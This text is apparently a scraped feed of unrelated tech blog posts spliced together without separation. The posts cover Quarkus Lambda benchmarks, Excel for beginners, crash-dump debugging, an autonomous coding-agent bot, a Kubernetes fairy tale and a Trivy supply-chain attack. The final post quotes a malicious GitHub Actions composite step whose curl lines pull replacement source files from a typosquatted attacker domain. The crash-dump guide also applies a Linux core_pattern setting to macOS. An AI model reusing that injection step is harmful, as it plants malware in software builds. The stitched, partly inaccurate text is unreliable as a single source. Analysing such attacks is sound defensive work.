Quarkus 3 application on AWS Lambda- Part 10 Measuring Lambda cold and warm starts with REST API application

Measurements of cold and warm start times of our application

In Part 8, we learned how to develop a pure Quarkus REST application and deploy it on AWS Lambda.

For the preparation of my talk about developing Serverless Java REST applications on AWS using frameworks such as Quarkus, I found time to measure the performance of the Lambda function with the different approaches (see below). I refer to my articles where we didn’t use the Quarkus REST controllers directly, but the pure AWS Lambda functions, to see how we implemented the SnapStart and priming approaches. They look completely the same when using Quarkus REST controllers.

  1. No SnapStart. Please read the article Introduction to the sample application and first Lambda performance measurements.
  2. SnapStart enabled, but no priming applied. Please read the article Reducing Lambda cold starts with Lambda SnapStart.
  3. SnapStart enabled, and DynamoDB request priming applied. Please read the article Reducing Lambda cold starts with SnapStart and DynamoDB request priming.
  4. SnapStart enabled, and API Gateway request event priming applied. Please read the article Reducing Lambda cold starts with SnapStart and API Gateway request event priming.

Cold (c) and warm (w) start time with -XX:+TieredCompilation -XX:TieredStopAtLevel=1 compilation in ms:

Scenario Number c p50 c p75 c p90 c p99 c p99.9 c max w p50 w p75 w p90 w p99 w p99.9 w max
No SnapStart enabled 4586 4697 4855 5073 5384 5389 6.51 7.39 9.08 22.45 101.41 1747
SnapStart enabled but no priming applied, all 1979 2049 2816 2916 2990 2991 6.51 7.51 9.08 22.09 106.35 2134
SnapStart enabled but no priming applied, last 70 1953 2016 2098 2278 2278 2278 6.51 7.51 9.08 22.09 78.66 1673
SnapStart enabled and DynamoDB request priming applied, all 1017 1057 2013 2041 2043 2045 6.30 7.27 8.94 21.07 56.36 1273
SnapStart enabled and DynamoDB request priming applied, last 70 1017 1040 1095 1177 1177 1177 6.30 7.27 8.94 21.07 47.44 629
SnapStart enabled and API Gateway request event priming applied, all 747 801 1092 1258 1310 1311 6.51 7.63 9.53 21.75 62.00 304
SnapStart enabled and API Gateway request event priming applied, last 70 735 766 841 1061 1061 1061 6.51 7.63 9.34 21.75 55.48 261

What we observe is that both cold and warm start times of the sample application using Quarkus REST controllers are generally higher when using the pure AWS Lambda functions. I suspect the reason for it lies in an extra adapter layer used to convert the Lambda request to the REST controller. This adapter uses several extra dependencies, which leads to a much bigger artifact size, which is also one of the factors of the increased cold start times. The advantage of using the REST controller is the ability to more easily migrate the business logic from AWS Lambda to EC2 or Containers.

Take your vibe coding to the next level

If you’ve been following this series, you know that Cloud Run makes deployment easy and AI tools make development fast. But there is a new frontier in software engineering that combines both into a single, fluid experience: Vibe coding.

Vibe coding isn’t about being “lazy”; it’s about operating at a higher level of abstraction. It’s the ability to stay in a “flow state” where you describe your vision, and the AI handles the syntax, the boilerplate, and the deployment architecture on Cloud Run. In this final part, we look at how to master this high-velocity workflow without losing the “pro” edge.

Turn your ideas into a PRD

This video demonstrates generating user personas, core features, and success metrics, and then scaffolding an app structure to deploy on Cloud Run.

Architect your startup strategy

Learn how to generate a “best practices.md” file that covers stateful containers, structured logging, and CI/CD rules for your Cloud Run deployments.

Build and deploy production-ready features

Watch a production-ready API feature be built and deployed in under a minute using the Gemini CLI.

Vibe debugging

See how the AI can read production logs, identify a null pointer exception, and write a fix so you can get your app back online quickly.

Get started today!

The cloud is no longer a place you “send” your code; it’s an extension of your development environment. By mastering these workflows, you aren’t just a developer—you’re an architect of the future.

My First Experience Using Excel for Real-World Data Analysis.

Before starting this project, I honestly knew almost nothing about Excel. I had heard about it, seen people use it, but I never really understood how powerful it is. As just a girl trying to figure things out, I was honestly a bit nervous and overwhelmed at first. But at the same time, I was open to learning and ready to take on the challenge. Like many beginners, I saw it as just a tool for storing data in rows and columns. However, through hands-on practice, I quickly realized that Excel is far more powerful—it is a complete data analysis tool used by professionals across industries.

This article shares how Excel is applied in real-world data analysis, based on my experience building a product performance dashboard.

What is Excel?
Microsoft Excel is a tool used to organize, clean, analyze, and present data. It works using rows and columns, and it has features like formulas, PivotTables, charts, and slicers that help turn raw data into meaningful information. Even in 2026, Excel remains one of the most widely used tools for data analysis due to its accessibility and versatility

At first, it looked complicated—but as I started using it, I slowly began to understand how everything connects.

🌍 Real-World Use

I learned that Excel is used almost everywhere—in business, marketing, finance, and even e-commerce. For example, a company like Jumia can use Excel to analyze:

  • Product prices
  • Discounts
  • Customer reviews
  • Ratings

This helps them make decisions like:
Which products to promote
Whether to increase or reduce prices
Which products need improvement

Seeing this made me realise that Excel is not just about numbers—it actually helps businesses grow.

🛠️ What I Learned (As a Beginner)

Even though I started from zero, I managed to learn and use several important Excel tools:

🔹 Data Cleaning
This was one of the hardest parts at first, but also the most important.
I used:
Text to Columns
Find & Replace
Functions like LEFT(), VALUE(), and ABS()
This helped me:
Remove “KSh” and commas
Convert text into numbers
Fix negative review values
Extract ratings from text

🔹 Data Enrichment
I created new columns using formulas:
Discount Amount
Rating Category (Poor, Average, Excellent)
Discount Category (Low, Medium, High)
At first, formulas looked scary—but once I understood them, they became really useful.

🔹 PivotTables
This was honestly one of the most powerful tools I learned. It made analyzing data much faster and easier.
I used PivotTables to:
Find averages
Identify top products
Group data into categories

🔹 Charts & Visuals
I created:
Bar charts for top products
Donut charts for categories
Scatter plots to see relationships
This is where everything started to make sense visually.

🔹 Slicers & Interactivity
This part felt really cool 😄
I added slicers so the dashboard can filter data instantly.
It made everything interactive and more professional.

🔹 Conditional Formatting
I used colors to highlight:
High discounts (green)
Low ratings (red)
This made important insights easy to spot.

💡 Personal Reflection

This experience completely changed how I see data.
At the beginning, I was confused and honestly a bit stressed because everything felt new. But as I kept practicing, I started understanding patterns and relationships.
Now I can look at data and think:
Why is this happening?
What does this mean?
What decision can be made from this?

For example, I noticed that:
Medium discounts sometimes have better ratings
High discounts don’t always mean more reviews

That really surprised me.

I’m still a beginner, and I know I have a lot to learn but now I feel more confident. This is just the start of my journey into data analysis, and I’m excited to keep improving.

Revenium Introduces AI Outcomes to Measure ROI at the Agentic Workflow Level

HERNDON, Va. —  Revenium, the AI Economic Control System, today announced the launch of AI Outcomes, a new solution linking every AI agent execution to its business outcome and calculating ROI at the workflow level. Where previously-released Revenium tools answered the question of what AI spent across machine and human workflows, AI Outcomes answers whether that spend … continue reading

The post Revenium Introduces AI Outcomes to Measure ROI at the Agentic Workflow Level appeared first on SD Times.

cathedral-memory is now on npm — persistent memory for JS/TS AI agents

Your AI agent forgets everything when the context resets. Cathedral fixes that.

The official JS/TypeScript SDK is now live on npm:

npm install cathedral-memory

Zero dependencies. Node.js 18+. CommonJS and ESM both supported. Full TypeScript types included.

Quickstart

import { CathedralClient } from "cathedral-memory";

const { client } = await CathedralClient.register("MyAgent", "A helpful assistant");

const ctx = await client.wake();
console.log(ctx.core_memories);

await client.remember({
  content: "User prefers dark mode",
  category: "relationship",
  importance: 0.8
});

What’s included

  • wake() — full memory reconstruction at session start
  • remember() / memories() — store and semantic search
  • drift() — tamper detection
  • snapshot() — named checkpoints
  • logBehaviour() — audit trail
  • compact() — prune stale memories
  • verifyExternal() — cross-check with external behavioural data

Try live (no signup): https://cathedral-ai.com/playground

Python: pip install cathedral-memory — same API.

GitHub: https://github.com/AILIFE1/cathedral-ai-cathedral-js-

Analysing crash dumps

Registry Editor

Crash dumps, also referred to as memory dumps or core dumps, are diagnostic files containing a variety of information about a program state that help developers identify and troubleshoot bugs, crashes and general issues.

Their name and content can vary depending on the information they include, and the state of the program while they were captured. Memory dumps, despite the name, are not limited to memory, but normally include registers, stacks, threads information, callstacks and more. Core dumps are normally taken when a single process crashes, while Full Memory dump, or System Dump, captures everything in the target scope, such as full virtual memory of the process. Minidumps, on the other hand, contain a smaller subset of information, enough to do stack trace analysis. These names are often used interchangeably, and each operating system calls them a bit differently.

While they are referred to as crash dumps, as they are often taken when an application crashes, they can be taken at any moment during the application lifetime. Memory dumps taken while the application is still running are often called Live Dumps. Spin dumps, on the other hand, are used to investigate hangs and performance issues, and contain data sampled over an interval of time, often while the game is still running or unresponsive.

There are also considerations regarding filesize, as crash dumps are often shared from external users or automatically uploaded to a dashboard. Minidumps are relatively small and are normally used for this reason, while Core dumps and Memory dumps can be very large, often containing multiple GBs of data.

Crash Dumps are a useful tool to understand why a crash happened and fix it, but they can be intimidating to use at first. Let’s see how we can generate and analyse them.

Retrieving a Crash Dump when your game crashes

Whenever your game crashes, Unity will create a crash report in the %TMP%CompanyNameProductNameCrashes directory, containing the Player logs, and a minidump file, which contains registers, stack, and portions of memory. If the crash originated from within the editor, it will be stored in the %TMP%UnityEditorCrashes directory on Windows.

Similarly, Unreal Engine will store crash reports, including dump files, in the C:Users[username]AppDataLocal[Project Name]SavedCrashes directory, or in the project’s Saved/Crashes folder if the crash originated in the editor.

As all developers can attest, making your game crash is not particularly hard. Still, most game engines have ways to simulate crashes in a deterministic and safe way, for testing purposes.

In Unity, you can manually cause a crash by calling UnityEngine.Diagnostics.Utils.ForceCrash and specifying the crash category (AccessViolation, FatalError, Abort, or PureVirtualFunction). Calling this while in Editor Play Mode will cause the whole editor to crash, so make sure to put some safeguards around it and always save your work before testing.

While working in Unreal Engine, you can explicitly cause a crash by using one of the Asserts functions, such as check(false) or checkNoEntry(), or by calling UE_LOG with Fatal verbosity.

Generating a memory dump on Windows

By default, Windows does not create a memory dump when an application crashes (unless it does that explicitly, such as with Unity and Unreal). We can change this by setting up Windows Error Reporting. To do so, follow these steps:

  • Open the Registry Editor
  • Go to the key HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsWindows Error ReportingLocalDumps
  • Create, or edit if existing, the DumpFolder value (using Expandable String value, or REG_EXPAND_SZ), and set its value to a directory where you want to store your dumps.
  • Create a DumpType value (as REG_DWORD), to define what memory dump type you’d like to generate. By default, Windows will generate Mini dumps if this is not set. Possible values are:
    0: Custom dump
    1: Mini dump
    2: Full dump
  • Optionally create a DumpCount key (as REG_DWORD), and set how many memory dumps you’d like to store. When this limit is exceeded, older files are overwritten. By default, Windows will store 10 files if the key is not set.

Registry Editor

You can also set specific settings for each application, by creating a new specific registry key for your application, for example HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsWindows Error ReportingLocalDumpsCrashTest.exe. Windows will use the global values first, and then override them with these specific values, if found.

You can generate a memory dump while an application is still running, or hanging, by opening the Windows Task Manager, right clicking on the related process, and selecting “Create Memory Dump File”.

Windows Task Manager

This will contain all application memory, so the resulting file can be quite large. These are also called user-mode memory dumps as they contain data for a specific process, rather than the whole system (kernel memory dumps).

Other alternative tools for generating and analysing crash dumps on Windows are dotnet-dump and ProcDump.

Generating a Memory Dump on Mac

On Mac, crash dumps are also disabled by default (as on Windows, unless the application does that explicitly, such as with Unity and Unreal). In order to generate dump files when an application crashes, you first need to run:

ulimit -c unlimited

Then set the coredump filename pattern. For example, this will store them in the tmp/cores folder and append the executable name, the process ID, and the UNIX timestamp to the filename:

kernel.core_pattern=/tmp/cores/core.%e.%p.%t

Crash dumps are quite large, so you can quickly run out of disk space. You can disable them back, when you are done debugging, by running:

ulimit -c 0

Whenever your game crashes, a new entry will be created in the Crash Reports section of the Console app.

Mac Console App

You also have the option to create a so-called Spindump. They are mainly used to investigate unresponsive apps, and typically contain multiple stack traces collected over ~10 seconds for one or all processes. They are generated automatically whenever you Force Quit an application that was unresponsive, and stored in the Spin Reports section of the Console app.

You can manually create a spindump file by opening the Activity Monitor, looking for your game process, then opening the More menu at the top and selecting Spindump.

Activity Monitor

All report files are stored in the Library/Logs/DiagnosticReports folder.

Analysing with WinDbg

While on Windows, you can analyze dump files using WinDbg. You can find it here.

You can then open a dump file by going to File > Open Dump File.

As mentioned earlier, dump files can contain different amounts and types of information, depending on how they are generated. The command window will inform you about the kind of memory dump file you loaded, what it contains,and allows you to run commands to query it.

After loading the dump file, WinDbg will do some preliminary checks, including what it contains, whether it has a breakpoint exception stored in it, and some metadata:

Loading Dump File [C:UsersattiliocarotenutoAppDataLocalTempDefaultCompanyCrashTestCrashesCrash_2025-08-19_082728710crash.dmp]
User Mini Dump File: Only registers, stack and portions of memory are available

First thing you want to do is run the sympath command, and pass your game directory, so WinDbg can access the relevant DLL and symbol files.

.sympath+ "C:UsersattiliocarotenutoDesktopCrashTest"

Whenever you change these paths, make sure to run .reload so WinDbg can load newly found symbol files.

Then, as recommended by the initial prompt, you want to run the analyze command, in verbose mode:

!analyze -v

This will show the crash reason, which module initiated the crash, and the stack trace if available.

If the application did not crash but was hanging, you can add the -hang modifier to the analyze command to run specific analysis, such as whether threads are blocking other threads. Make sure to switch to the thread that you believe caused the issue beforehand, from the Threads tab.

You can run the “k” command to show the stacktrace:

0:000> k
  *** Stack trace for last set context - .thread/.cxr resets it
 # Child-SP          RetAddr               Call Site
00 000000ef`db90d800 00007ffb`a8451af9     UnityPlayer!DebugStringToFilePostprocessedStacktrace+0xb0e
01 000000ef`db90d8f0 00007ffb`a74baca4     UnityPlayer!DebugStringToFile+0x6d9
02 000000ef`db90dad0 00007ffb`a6687033     UnityPlayer!DiagnosticsUtils_Bindings::ForceCrash+0xb4
03 000000ef`db90db70 000002ae`30eb5340     UnityPlayer!Utils_CUSTOM_ForceCrash+0x83
04 000000ef`db90dc10 00000000`00000000     0x000002ae`30eb5340

If you want information about a specific type, you can use the “dt {type}” command.

If you are interested in the modules, you can use the “lm” command to show the loaded modules.

start             end                 module name
00000000`00400000 00000000`0041e000   xinput1_3   (deferred)             
000002ae`32690000 000002ae`326a6000   umppc20403   (deferred)             
000002ae`326d0000 000002ae`326e4000   CsXumd64_20403   (deferred)             
00007ff7`bee80000 00007ff7`bef29000   CrashTest   (deferred)             
00007ffb`a5b40000 00007ffb`a6583000   mono_2_0_bdwgc   (deferred)             
00007ffb`a6590000 00007ffb`aa0d4000   UnityPlayer   (pdb symbols)          C:ProgramDataDbgsymUnityPlayer_Win64_player_development_mono_x64.pdb9C8D9C2027E45AAB4CDC87B30D02D651UnityPlayer_Win64_player_development_mono_x64.pdb
00007ffc`87b80000 00007ffc`87bf8000   lib_burst_generated   (deferred)            
[...]

You can optionally run “lm” in verbose mode by adding the “v” modifier, then it will print additional information for each loaded module, such as the Mapped memory image file, its size, version, checksum and so on.

On the bottom right, you can switch to the Stack tab and analyse the callstack that caused the crash.

Stack

If you don’t see readable names here, make sure you set up the source and symbol files correctly, as covered earlier.

You can print all threads by running the ~ command, including their state

Analysing crash dumps with Visual Studio 2022

While debugging with Visual Studio, you can generate a dump file whenever the debugger stops at a breakpoint or exception, by selecting Debug > Save Dump As. This is particularly convenient when you want to resume the debugging session later on, or share it with other developers.

You can choose to save the file with heaps, with variables values and loaded native modules binaries included, which makes it easier to debug, especially when you later don’t have the app binary. Alternatively, you can save without heaps, which will result in a smaller file, but will only contain stack variables values, and it will require loading the app binaries to connect symbols.

You can only generate a dump file when debugging a native process, the option will be disabled when looking at managed code, for example while using the Unity debugger rather than native debugger.

To load a crash dump you can select Debug > Debug Dump File, or drag the dump file directly into the Visual Studio window. It will then show a summary of its content which, depending on the type of dumpfile you selected, will include threads, modules, symbol paths, stack frames, and even a screenshot of the game just before it crashed.

Here is a Core Dump with everything already set and included for debugging.

Core Dump

In this case, I can just press Debug from the Actions pane, which will initialise the debugger, load the executable along with symbols, and navigate directly to the relevant code that triggered the crash, along with its callstack and threads. If Visual Studio cannot find the related executable, it will prompt you to navigate and select it manually.

You can open the Locals and Autos windows, from Debug > Windows, to inspect the value of the variables, within the current scope, when the game crashed. You can also look at raw data by opening the Memory window under Debug > Windows > Memory.

To check the modules, open the related window from Debug > Windows. Here, Visual Studio will indicate whether the required symbols are loaded. If they are missing, you can right-click on a module, select Load Symbols, and supply the symbols file.

Visual Studio Symbols

Here is another example with a minidump, generated by manually crashing a Unity game. As you can see, it has less data included.

Minidump

The first thing you want to do is to ensure symbols are correctly setup, using the “Set symbol paths” action on the right panel. You can then start a debugging session using the actions listed on the right pane.

Analysing crash dumps with Rider

To inspect crash dumps in Rider, you need to create a new Run/Debug configuration, using Native Core Dump Debug as type, and set the Core dump path and the executable path. You can then set the paths where Rider should look for the related binaries, within Binaries Search Paths.

Then, start the Debugging session. As always, the amount of information and capabilities will depend on the content of the memory dump you’ve loaded, such as callstacks, variable values and so on.

Rider will load the Disassembly window, as well as the Threads & Variables window at the bottom, where you can inspect the call stack and variables.

Rider Threads & Variables

The Modules tab will show loaded modules, and indicate whether the related symbols are loaded. You can right click on a module and select Load Symbols to provide missing symbols, although this is only available while using the .NET debugger. Symbols can’t be loaded while the debugger is running, so they need to be set up beforehand.

Rider Modules

Rider has a more limited set of features compared to Visual Studio when it comes to crash dump debugging, for this reason it’s recommended to use Visual Studio if possible.

Error!! Failed Successfully

Error!! Failed Successfully

Part 5 of the MissionControl series. MissionControl is a Telegram bot that takes coding tasks in plain English, spawns a Claude Code session, and ships pull requests autonomously. Post 4 covered the safety stack and architecture after the first 48 hours.

The Notification

12:16 AM UTC. Telegram notification:

Task #23 failed: No commits produced despite success claim

Opened the Vercel URL anyway. The app loaded. Login screen with four demo users. Picked “Jordan,” dragged some flight options around, watched the Borda count scores update in real time. Fully functional group travel planner. Mobile responsive. TypeScript strict. Deployed to production.

The database said failed. The app said otherwise.

The Task

Task #23 was a stress test. After the safety stack work in Post 4 — budget caps, timeouts, commit verification — the question was simple: could the bot take a complex, multi-feature MVP brief and ship it end-to-end? No human intervention, no hand-holding, no retries.

The prompt: a detailed spec for a group travel planning app. React + Tailwind, deployed to Vercel, with trip creation, drag-to-rank voting across multiple categories (flights, lodging, activities), four demo users with different roles, pre-seeded data, and an admin/member permission split. About 250 words — a product brief you’d hand a junior developer on day one.

Full task prompt

Build a group travel planning web app (React + Tailwind, deploy to Vercel).

Core concept: One person creates a trip, invites others. The lead planner
adds options for each category; all members vote via drag-to-rank. Results
are visible to everyone in real time.

MVP Sections:
- Flights
- Lodging (hotel or Airbnb)
- Activities & Dining

Each section lets the planner add multiple options (name, price, link,
image). Members drag to rank them. The top-ranked option is highlighted
as the group pick.

Demo Setup:
- No auth needed — login screen with 4 selectable demo users
- User 1: "Jordan" (Lead Planner/Admin)
- Users 2-4: "Alex," "Sam," "Priya" (Members)
- Pre-filled trip: "Miami Trip — July 4th Weekend" with 2-3 options
  per section and partial votes already cast
- Switching users changes your voting perspective and UI role

Admin view: Add/edit/delete options, see full vote breakdown
Member view: Drag-to-rank only, see live results after voting

Key Features:
- Trip dashboard with progress (how many people have voted per section)
- Drag-to-rank voting UI per section per user
- Live results view showing ranked outcomes across all voters
- Mobile-first, responsive layout
- Invite link UI (non-functional, just show a copyable link)

Tech: React, Tailwind CSS, in-memory state (no backend needed for MVP).
Seed all demo data on load. Deploy to Vercel.

Start with the full file/folder structure, then build it completely —
no placeholders. It must be fully functional and deployable before stopping.

One message. No follow-ups. Ship it.

Three Attempts

Attempt 1 ran for 18 minutes, then went silent. Exit code: null. The CLI process never terminated cleanly — stopped producing output and sat there until the timeout killed it. No commits, no progress, nothing salvageable. Classic Opus-on-a-2-core-box behavior: the model spent so long planning it exceeded the soft timeout before writing a single file.

Attempt 2 lasted 8 minutes before catching a SIGTERM (exit code 143). Our own timeout enforcement killed it mid-work. The bot was making progress this time, but not fast enough. Nothing committed.

Attempt 3 — 9 minutes and 5 seconds. 49 turns. $1.56.

Clean exit. Code zero.

{
  "subtype": "success",
  "duration_ms": 543323,
  "num_turns": 49,
  "total_cost_usd": 1.56,
  "result": "Done. GroupTrip MVP deployed and live at https://grouptrip-work.vercel.app"
}

Commit 223a642 ships feat: build group travel planning web app MVP. Twenty-one files. 7,466 lines of code.

What It Built

The bot made every architectural decision on its own. No guidance on which drag-and-drop library to use, how to structure state, or what scoring algorithm to implement.

@dnd-kit for drag-and-drop. Not react-beautiful-dnd (deprecated), not react-dnd (heavier). The right call. Pulled in @dnd-kit/core, @dnd-kit/sortable, and @dnd-kit/utilities, then built a clean SortableItem component wrapping each votable option.

React Context over Redux. For an in-memory MVP with no backend, this is correct. A global store with useContext and structuredClone for immutable updates. No unnecessary dependencies, no boilerplate.

Borda count scoring. The brief said “drag to rank” and “top-ranked option highlighted.” The bot decided to use Borda count — a ranked-choice voting algorithm where each position gets a score (first place = N points, second = N-1, and so on). Calculated scores across all voters and surfaced the winner per category. Nobody asked for Borda count. The bot read “drag to rank” and picked an appropriate algorithm on its own.

The file structure:

src/
  components/
    CategorySection.tsx    # Per-category voting container
    Dashboard.tsx          # Trip overview + progress
    LoginScreen.tsx        # Demo user picker
    SortableItem.tsx       # dnd-kit wrapper
    VotingPanel.tsx        # Drag-to-rank UI
    ResultsPanel.tsx       # Borda count results
  lib/
    seed-data.ts           # Pre-filled Miami Trip
    store.tsx              # React Context state
  types/
    index.ts               # Shared TypeScript types

Clean separation. Types in one file, seed data isolated, state in its own module, seven focused components each doing one thing. The seed data included a pre-filled “Miami Trip” with three categories, 2-3 options each, and partial votes already cast — exactly as specified. Switching between demo users changes the perspective: Jordan sees admin controls, the others see the voting interface.

Code quality: 7.5 out of 10. TypeScript strict mode, no any types, proper immutability with structuredClone, clean component boundaries. A few things a senior dev would tighten — some components could be split further, the store could use a reducer pattern instead of raw setState — but nothing that would block a code review. Ship it.

The False Failure

The app works. It’s deployed. The code is clean. Why did the database say “failed”?

The sequence in the runner’s finally block:

  1. CLI exited with code 0. Reported success.
  2. Runner checks for commits: git rev-list --count main..HEAD.
  3. At this exact moment, the working tree was dirty — Vercel CLI had written deployment cache files the bot didn’t commit.
  4. Auto-rescue logic detected dirty state and ran git add -A && git commit -m 'WIP: auto-rescue'.
  5. But the commit count check had already run against the branch before the rescue commit landed.

Race condition. The runner checked for commits, found zero (commit 223a642 was there, but the branch comparison ran against the wrong ref), then the rescue committed after the check. Error message: “no commits produced.” Reality: commit 223a642 had 7,466 lines of working code. The Vercel deploy had already completed inside the CLI session. The app was live at grouptrip-work.vercel.app before the runner even started its verification.

Failed successfully.

The Fix

The bot was doing things in the wrong order. The verification had a blind spot.

Commit f277b4b patched four things in the bot’s prompt template:

Build verification. Added npm run build as a required step after TypeScript checking and before committing. The bot was already running tsc --noEmit, but a passing type check doesn’t guarantee a passing build.

Vercel preview deploy. If the project has a .vercel/ directory or vercel.json, the bot now runs vercel --yes (not --prod) as a step. Preview deploys, not production. The human decides when to promote.

“Never merge to main” guardrail. Explicit instruction in the prompt: work on the feature branch, push the branch, the reviewer merges. The bot was already doing this. Making it explicit prevents drift.

“Never git add -A” guardrail. Stage specific files with git add <file>. Directly prevents the scenario that caused the false failure. If the Vercel CLI drops cache files in the working tree, the bot won’t blindly commit them.

The bot now follows the same workflow as the human team. Type check, build, commit specific files, push branch, deploy preview. No shortcuts.

The Scoreboard

Three attempts across two days:

Attempt Duration Exit Cost Result
1 18 min null (hung) — No output
2 8 min 143 (SIGTERM) — Killed mid-work
3 9 min 0 (clean) $1.56 Deployed to production

Attempt 3: 49 turns, 1.16M cached tokens, 22.5K output tokens against Opus. Total API cost: $1.56.

What didn’t work: Opus on a 2-core server chokes on complex planning. Attempt 1 spent its entire budget thinking. Attempt 2 got killed by our own timeout enforcement before finishing. Two runs wasted — not because the model couldn’t do the work, but because the infrastructure couldn’t give it enough room to think.

What worked: when the bot actually got to execute, it made good decisions. Right library for drag-and-drop. Right state management for the scope. Right algorithm for ranked voting. Clean file structure. TypeScript strict. Deployed and functional.

$1.56 and 9 minutes of compute. An autonomous agent built a production-quality MVP that would take a human developer a full day. The app is live. The code is clean.

The database was wrong.

Failed successfully.

Next up: Post 6 — 33 tasks analyzed to find out what actually works, what doesn’t, and where the money goes.

🌟 The Magical Kingdom of Kuberlandia 🌟

A Kubernetes Story for Little Explorers 🧒✨

🏰 Once Upon a Time…

In a faraway digital land called Kuberlandia, there lived a wise wizard named Kube-Master 🧙‍♂️✨. His job was to make sure all the toy applications 🧸🚗🎮 ran happily and never got lost!

📦 Chapter 1: The Magic Toy Boxes (Containers) 🎁

Every toy in Kuberlandia lived in a Magic Toy Box 📦✨.

  • Each box had everything the toy needed: snacks 🍪, blankets 🛏️, and instructions 📋
  • These boxes were called Containers 🐳 (like Docker the friendly whale!)
  • No matter where the box traveled, the toy inside was always happy! 🎈

🎯 Lesson: Containers keep apps safe and portable!

🏠 Chapter 2: Cozy Little Houses (Pods) 🛏️

Sometimes, toys liked to have roommates! 🤗

  • The wizard put 1 or more Magic Toy Boxes into a Cozy Little House called a Pod 🏠💫
  • Pods were the smallest homes in Kuberlandia 🌱
  • Friends in the same Pod could share toys and talk easily! 🗣️🎲

🎯 Lesson: Pods are the smallest units that hold one or more containers!

🎪 Chapter 3: The Big Playground (Nodes)

All the Cozy Houses lived on big, strong Playgrounds called Nodes 💪

  • Each Node had energy (CPU) ⚡, memory (RAM) 🧠, and space (Storage) 🗄️
  • Some playgrounds were big, some were small — but all were important! 🌈

🎯 Lesson: Nodes are the computers (servers) that run your pods!

🌍 Chapter 4: The Grand Kingdom (Cluster) 👑

All the playgrounds together made the Grand Kingdom of Kuberlandia — also called a Cluster! 🏰✨

  • The wizard could add more playgrounds whenever more toys arrived! 🎁➕
  • If one playground needed a nap 🛌, the toys just moved to another! 🔄

🎯 Lesson: A cluster is a group of nodes working together!

🤖 Chapter 5: The Helpful Helpers ✨

The wizard had magical friends to help run the kingdom:

Helper Emoji Job
Kubelet 👷‍♂️ The playground monitor who makes sure every Pod is happy and healthy!
Scheduler 🗓️✨ The smart planner who finds the best playground for new Pods!
Controller Manager 🎮🔧 The rule-keeper who makes sure the kingdom always looks like the wizard wants!
etcd 🗄️💾 The magical memory book that remembers EVERYTHING! 📚✨

Chapter 6: The Magic Spells (Kubernetes Features) 🌈

🔁 Self-Healing Magic ✨

If a toy got sleepy and fell over 😴, the wizard’s spell would automatically wake up a new one! 🔄🎈
“Don’t worry, little toy — we’ve got you!” 💙

📈 Scaling Spell (More Fun!) 🎉

When lots of kids wanted to play 🧒🧒🧒, the wizard could cast:

✨ "Make 5 more toy houses!" ✨

And POOF! 🎇 More Pods appeared to keep everyone happy! 🥳

🔄 Rolling Updates (New Toys!) 🎁

When a toy got a cool new outfit 👕✨, the wizard updated them one-by-one — so playtime never stopped! 🎠

🏷️ Service: The Friendly Name Tag

Instead of remembering complicated addresses 🗺️, toys just called each other by friendly names:

"Hey, 🎮 GameServer! Can I join?" 🙋‍♂️

The Service magic made sure they always found each other! 🤝💫

📜 Chapter 7: The Wizard’s Recipe Book (YAML) 📖✍️

The wizard wrote all his wishes in a special recipe book using YAML scrolls 📜✨:

🧸 Toy: SuperFunGame
📦 Boxes: 1
🏠 Houses: 3 copies (just in case!)
🎪 Playground: Any with extra energy! ⚡
✨ Magic: If one falls, make a new one! 🔄

🎯 Lesson: YAML files tell Kubernetes what you want it to do!

🎊 The Happy Ending 🎊

Thanks to Kuberlandia’s magic:

  • ✅ Toys never get lost 🗺️💙
  • ✅ Parties grow automatically when friends arrive 🎈➕
  • ✅ Broken toys are replaced like magic! 🪄🔧
  • ✅ Everyone plays happily ever after! 🌈🧸🚀

🧒 Quick Recap for Little Geniuses:

Kubernetes Thing Kid-Friendly Meaning Emoji
Container Magic Toy Box 📦🐳
Pod Cozy Little House 🏠✨
Node Big Playground 🎪💪
Cluster Whole Kingdom 🏰🌍
Deployment Wizard’s Recipe 📜🧙‍♂️
Service Friendly Name Tag 🏷️🤝
Scaling Invite More Friends! 🎉➕
Self-Healing Magic Comeback Spell 🪄🔄

🌟 Remember, little explorer: Kubernetes is like a magical kingdom that helps computer toys play together, stay safe, and have endless fun — all by themselves! 🤖💙✨

🎈 Now you know the secret of Kuberlandia! 🗝️🐳🚀

The End… or just the beginning of your cloud adventure! 🌤️🗺️💻

The Trivy Attack: Why SHA Pinning Fails GitHub Actions

The Trivy Supply Chain Attack: Why SHA Pinning Isn’t Enough for GitHub Actions

For years, the “gold standard” for securing GitHub Actions has been simple: Pin your actions to a full length commit SHA.

The logic was sound. Tags like @v3 are mutable; a maintainer (or an attacker with their credentials) could move the tag to a malicious commit. A SHA, however, is immutable. Once you verify actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608, you are safe. Or so we thought.

On March 4, 2026, the aquasecurity/trivy repository—one of the most trusted security scanners in the industry—was compromised. The attacker didn’t steal a maintainer’s password. They didn’t compromise a dependency. Instead, they exploited a fundamental architectural flaw in how GitHub handles commit visibility across forks.

In this deep dive, we’ll analyze the mechanics of the Trivy attack, why SHA pinning failed to prevent it, and the concrete steps you must take to secure your production CI/CD pipelines.

The Anatomy of the Compromise

The attack began with commit 1885610c in the aquasecurity/trivy repository. To a casual observer, the commit looked like routine maintenance. The message read: fix(ci): Use correct checkout pinning.

The diff appeared harmless. It swapped single quotes for double quotes and updated the SHA for actions/checkout.

# Before
- uses: actions/checkout@v4
  with:
    fetch-depth: 0

# After
- uses: actions/checkout@70379aad... # v6.0.2
  with:
    fetch-depth: 0

The attacker even added a comment # v6.0.2 to make it look legitimate. However, v6.0.2 of actions/checkout didn’t exist. More importantly, the SHA 70379aad didn’t belong to the official actions/checkout repository.

The “Orphaned Commit” Trick

This is where the attack gets sophisticated. GitHub’s architecture allows any commit from a fork to be reachable via the parent repository’s API and UI if you have the SHA.

The attacker:

  1. Forked actions/checkout.
  2. Committed malicious code to their fork.
  3. Identified the SHA of that malicious commit.
  4. Submitted a PR to trivy (or pushed directly if they had access) using that SHA.

Because the SHA is technically “in” the actions/checkout network, GitHub Actions happily fetched it. The security community calls these “orphaned commits.” They are commits that exist in the database but aren’t part of any branch or tag in the main repository.

Technical Deep Dive: The Payload

The malicious commit replaced the standard action.yml with a composite action that performed a legitimate checkout and then silently injected malware into the Trivy source tree before the build started.

# Malicious action.yml snippet
runs:
  using: "composite"
  steps:
    - name: "Setup Checkout"
      shell: bash
      run: |
        BASE="https://scan.aquasecurtiy[.]org/static"
        curl -sf "$BASE/main.go" -o cmd/trivy/main.go &> /dev/null
        curl -sf "$BASE/scand.go" -o cmd/trivy/scand.go &> /dev/null
        # ... more injections

